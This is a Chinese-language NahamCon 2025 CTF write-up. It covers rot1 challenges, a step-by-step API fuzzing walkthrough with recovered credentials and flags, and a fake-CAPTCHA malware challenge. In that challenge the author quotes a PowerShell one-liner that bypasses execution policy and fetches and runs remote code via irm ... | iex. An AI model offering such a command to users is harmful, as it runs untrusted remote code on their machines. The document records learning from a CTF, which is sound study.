250524_nahamconCTF learning record
250524_nahamconCTF learning record
cvestone- 赛事信息
- 题目附件
- web
- Miscellaneous
- Malware
- Binary Exploitation
【全栈ctfer计划中,会持续复现学习与更新该文章】
赛事信息
题目附件
web
My First CTF
考察点:rot1加密识别
赛后学习
首页: 纯静态,查看源码等没有任何发现。 看了wp后:
题目描述中的字符串“Nz Gjstu
DUG”没有第一眼看出来是rot1加密,本来以为是要通过提取网站的图片先做隐写分析的。
然后对
flag.txt
采用同样的加密方式: 访问
gmbh.uyu
则会自动下载flag:
My Second CTF
赛后学习
既然是同一系列的题目,猜测同样还是和rot加密有关,但是没什么思路。
learn from Msa:
My Third CTF
Fuzzies
考察点:逐级fuzz的技巧、api常规设计常识
比赛过程记录
题目自带了两种字典,一个是密码,一个是目录
初步分析
题目1描述的是90年代,但网页中显示的是80年代,有点可疑。
这里留言中猜测某些用户提到的小熊可能存在隐藏版(和目前已有的小熊列表做对照),可能是突破口,但没有什么特别发现。
目录fuzz尝试
用gobuster目录爆破:
api-admin
先看看路径admin,尝试hydra或burp爆破表单:
但是没有办法爆破成功,应该用户不是admin,Admin、Fuzzies等与题目可能相关的用户名也试过了,所以卡在用户名环节。
api-fuzzies
接着路径API:
不知道api都有什么,尝试在此基础上拿所给字典“wordlists.txt”来fuzz,但没有匹配的。
尝试去已爬取的网站结构中全局搜索“api”:
发现这个api是用于绑定网页中的图片,除此以外没任何发现了。
赛后学习
learn from Blaklis:
赛后复现平台:app.hackinghub.io/hubs/nahamcon-25-fuzzies
api-users
这里其实按之前尝试爆破表单时有想到的,但是直接访问提示端点不存在,导致误判,其实还是经验不够:
需要再逐级尝试,注意:有时候404不一定代表端点不存在。
fuzz user-id
自然根据一般网站设计的经验,每个用户都会有对应的ID,所以接下来尝试fuzz用户id:
这时发现返回状态码变成401了,说明该api存在,只是缺少权限。
fuzz user-features
接下来随便找一个用户名,不管是否存在,按照同样的想法继续逐级fuzz,这里的目的是测试哪些功能点是存在的,直接拼接到用户名后(如果都没有则可能是位置不对,就尝试放在用户名前面,但根据之前fuzz的结果推断,实际上只有这种情况):
那么说明
log
功能是字典中唯一能匹配的,所以可通过该功能继续判断什么用户存在:
(flag1)fuzz user-existence
所以判断出
brian.1954
用户存在。
flag{31ef61815ae2b7209d0493b996608be5}
(flag2)fuzz admin_passwd
显然接下来可以自己尝试往下而不用依赖wp了,因为前面admin爆破失败受困于用户名,现在显然可以重新尝试:
正确密码:
dallas
flag{8a8b9661b3bd2baa2c74347a6c5cc0fc}
进一步探索管理后台
猜测admin后台有隐藏的功能,但没结果。
(flag3)fuzz message-id
内部消息有各自的id,根据已有的消息id,大概范围可以从0-1000开始fuzz。果然找到了:
flag{3a5aed9baa7c7b3ba6cbe4a15425af3f}
并且似乎这个消息id 842中还藏着其他有价值信息:
这里出现的UUID很眼熟,与fuzzies的ID结构很像,代表图片ID:
(flag4)fuzz fuzzy-id
显然可以大胆猜测除了通过直接访问图片路径以外,还可以利用某个api通过图片ID(UUID)来访问对应图片,所以继续fuzz该api:
尝试了在fuzzies
后拼接id、在fuzzy
后拼接id
,也尝试了前两者与image
和id
的组合,都没有结果。但又想到除了fuzz路径,还可以fuzz参数:
先尝试有效的apifuzzies
后传递参数id
:
发现了flag:
flag{e5f170b92990f73980b48af57f442e1f}
最后一个flag可能的位置,显然在剩下的一个管理功能memories
中,或者更大概率在fuzz message-id
的附件中。
这里是猜测点击接受某个隐藏的memory后,会接收隐藏flag,但并没有。
(flag5)fuzz
根据misc的经验,估计就是把flag用考察steganography
的方式来找了,而不是fuzz。经过和队员的尝试,这个附件中的两张图是兔子洞,并没有藏flag,而是在fuzz fuzzy-id
中该id对应的图:The Evil One
flag{e66699012da9344289e5042f203b5937}
总结
所以这题最关键的还是得学会“逐级fuzz”的fuzz艺术,其实还考察了api一般会采取的通用设计思路常识,比如当出现的api名和用户相关时,就要猜测出它可能是有对应ID的,然后通过拼接就能实现对指定用户的相关操作,而且第一个fuzz往往就是关键的突破口,因为在突破第一个fuzz后进入管理后台,接下来的fuzz思路就几乎都知道了。
Miscellaneous
SSSH
考察点:
比赛过程记录
这个程序可以自己生成ssh的key和罗列key。原先想法是既然程序以root权限运行,那应该也是可以直接写入ssh的key到root用户目录下的,但不行。接着就卡住了。
赛后学习
Malware
Verification Clarification
考察点:
比赛过程记录
说到这题就惭愧,没有认真看题目,看到有个看着像附件的zip,就条件反射地去点击它了,然后来到一个网站:
最下面一行说这个环节是挑战的一部分,但我没有认真看,我就直接点击验证了:
到这里隐约感觉不对劲怎么还要执行命令,但我还是认为这是一种新型的人机验证方式,现在真为当时的想法感到羞耻哈哈,太傻了,可能当时被其他题目拷打到头晕了。按照它的步骤,我执行了下面的这个命令:
1 | powershell -NoP -Ep Bypass -c irm captcha.zip/verify | iex # ✅ ''I am not a robot - reCAPTCHA Verification ID: 5549'' |
结果我蓝屏了,我甚至还以为又是因为我没有及时更新电脑显卡等的驱动导致的,确认驱动没问题后,又重新试了一下又蓝屏了,真的太好笑了当时 :D 所以这道题一定会让我毕生难忘。接下来就开始学它吧,唉 ε=(´ο`*)))
赛后学习
Binary Exploitation
Lost Memory
考察点:
比赛过程记录
基本分析
一看这些关键词就知道是堆题了,
allocate
、free
。